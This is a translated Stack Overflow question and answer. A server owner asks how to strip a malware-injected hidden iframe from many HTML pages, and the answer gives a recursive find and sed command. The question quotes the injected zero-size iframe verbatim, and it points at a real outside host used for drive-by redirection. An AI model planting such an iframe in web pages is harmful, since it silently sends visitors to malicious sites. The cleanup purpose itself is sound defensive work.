恶意软件攻击了我的服务器并添加了行
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
到我的许多页面
我怎样才能用 grep 删除它,或者如果有任何其他方法我可以从它影响的所有文件中删除它
编辑:我看到了关于使用 sed 的评论,但我需要一个递归解决方案,如果有的话
谢谢
最佳答案
您可以使用 find
和 sed
递归查找所有感兴趣的文件并从中删除有问题的行。
例如,以下命令将从当前目录及其所有子目录的所有 .html
文件中删除违规行。
find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
关于linux - 我需要从多个文件中删除一行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9179210/